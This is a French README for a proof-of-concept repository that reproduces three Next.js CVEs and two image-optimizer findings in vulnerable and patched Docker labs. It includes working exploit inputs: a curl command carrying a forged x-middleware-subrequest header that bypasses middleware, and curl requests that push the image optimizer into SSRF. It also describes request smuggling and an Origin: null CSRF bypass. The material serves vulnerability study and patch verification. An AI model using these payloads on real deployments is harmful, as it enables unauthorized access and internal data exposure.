
Quelques preuves de concept (POCs) pour CVE-2025-29927, CVE-2026-27978 et CVE-2026-29057 dans Next.js.
Ce dépôt contient des environnements reproductibles de preuve de concept pour trois vulnérabilités Next.js. Chaque PoC inclut une cible vulnérable, une cible corrigée et un script qui montre la différence de comportement entre les deux.
L'objectif de ce projet est de rendre la cause racine et l'impact pratique de chaque problème faciles à observer dans un environnement minimal.
| CVE | Avis | Impact | Version vulnérable | Version corrigée |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | contournement d'autorisation lorsque le contrôle d'accès repose uniquement sur un middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | contournement par Origin: null des vérifications CSRF des Server Actions | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | injection de requêtes HTTP via des réécritures vers un backend externe | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | constatation d'audit local | contournement de la liste blanche distante de l'optimiseur d'images via des redirections | 16.2.4 | non vérifié |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | constatation d'audit local | l'URL locale de l'optimiseur d'images peut atteindre un amont privé via des réécritures externes | 16.2.4 | non vérifié |
Les hash ci-dessous proviennent du dépôt amont vercel/next.js.
| CVE | Commit de version vulnérable | Commit de version corrigée | Commit de correctif pertinent |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose est disponible.docker compose up --build
Ports exposés :
3001 -> CVE-2025-29927 vulnérable3002 -> CVE-2025-29927 corrigé3003 -> CVE-2026-27978 vulnérable3004 -> CVE-2026-27978 corrigé3005 -> CVE-2026-29057 vulnérable3006 -> CVE-2026-29057 corrigé3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEDans ce PoC, /dashboard n'est protégé que par un middleware :
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
Le contrôle d'autorisation lui-même n'est pas incorrect. Le problème est que la route dépend entièrement de l'hypothèse que l'exécution du middleware ne peut pas être contournée.
Dans les versions affectées de Next.js, les requêtes externes pouvaient toujours fournir l'en-tête interne x-middleware-subrequest, et le runtime traitait cette valeur comme des métadonnées de middleware de confiance. La logique vulnérable pertinente était :
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest n'y était pas filtré, donc une entrée contrôlée par l'attaquant pouvait atteindre le runtime du middleware. Cette valeur était ensuite utilisée pour dériver la profondeur de récursion :
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Si un attaquant envoie middleware:middleware:middleware:middleware:middleware, le runtime peut conclure que la profondeur de récursion a déjà été atteinte et transmettre la requête sans exécuter le middleware de l'application.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Comportement attendu :
3001 renvoie une redirection sans l'en-tête d'exploitation, mais renvoie 200 OK avec x-middleware-subrequest.3002 continue de rediriger vers /login car l'en-tête interne n'est plus considéré comme fiable depuis une entrée externe.Ce PoC expose une Server Action normale qui modifie l'état côté serveur :
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
Le problème ne vient pas de transferFunds() elle-même. Le comportement vulnérable se situait dans la validation CSRF des Server Actions de Next.js. Dans les versions affectées, Origin: null était traité comme une origine manquante au lieu d'une origine opaque explicite :
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Parce que 'null' devenait undefined, les requêtes provenant d'origines opaques telles que des iframes sandboxed pouvaient éviter le chemin de comparaison hôte/origine et être tout de même traitées avec les cookies de la victime.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Comportement attendu :
Origin: nullCe PoC réécrit /rewrites/:path* vers un backend externe :
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
Le comportement vulnérable se trouvait dans la dépendance http-proxy intégrée utilisée par Next.js pour les réécritures. Dans les versions affectées, la logique du proxy pour les requêtes DELETE et OPTIONS pouvait ajouter content-length: 0 et supprimer transfer-encoding :
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
Cela créait un désaccord de limites de requête entre la chaîne de proxy et le backend lorsqu'une requête fragmentée (chunked) conçue était transmise. En conséquence, une deuxième requête pouvait être injectée vers le backend sur la même connexion.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
Comportement attendu :
DELETE /rewrites/poc fragmentée brute contenant un GET /secret injectéDELETE /rewrites/poc et GET /secretExemple de sortie observée :
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
La source locale next.js-16.2.4 valide images.remotePatterns uniquement pour le paramètre url d'origine dans ImageOptimizerCache.validateParams() :
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Le chemin de récupération réseau suit ensuite les redirections récursivement dans fetchExternalImage() :
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
Cet appel récursif conserve la vérification d'IP privée, mais il ne reçoit ni ne ré-applique domains / remotePatterns. Une origine d'image autorisée configurée peut donc rediriger l'optimiseur vers une autre origine publique qui ne passerait pas la liste blanche d'images d'origine.
Le PoC utilise des services localhost et définit dangerouslyAllowLocalIP: true uniquement pour que le comportement de la liste blanche puisse être reproduit sans infrastructure externe. La liste blanche d'images configurée n'autorise que http://127.0.0.1:4100/allowed/** ; ce serveur redirige vers http://127.0.0.1:4200/blocked/private.png, et le second serveur enregistre s'il a été atteint.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
Comportement attendu :
41004200, qui est en dehors de images.remotePatterns4200 enregistre GET /blocked/private.pngcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Utilisez le script fourni, car le champ Server Action est généré dynamiquement par le serveur.
Utilisez le script fourni, car l'exploit repose sur une charge utile TCP brute avec une deuxième requête injectée.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
Pour une URL d'image locale, ImageOptimizerCache.validateParams() ne valide que le chemin local par rapport à images.localPatterns :
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Le chemin de récupération interne rentre alors dans le gestionnaire de requêtes Next.js :
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
Si la route locale correspondante est configurée comme une réécriture externe, la requête peut être proxyfiée vers cette destination externe. Ce chemin n'appelle pas fetchExternalImage(), donc la protection d'IP privée utilisée pour les URLs d'image absolues n'est pas appliquée à la destination réécrite.
Le PoC autorise uniquement les URLs d'images locales sous /allowed/**, puis réécrit ce chemin vers http://127.0.0.1:4300/private/:path* :
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
Comportement attendu :
/allowed/secret.png car il correspond à images.localPatternshttp://127.0.0.1:4300/private/secret.pngGET /private/secret.pngcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state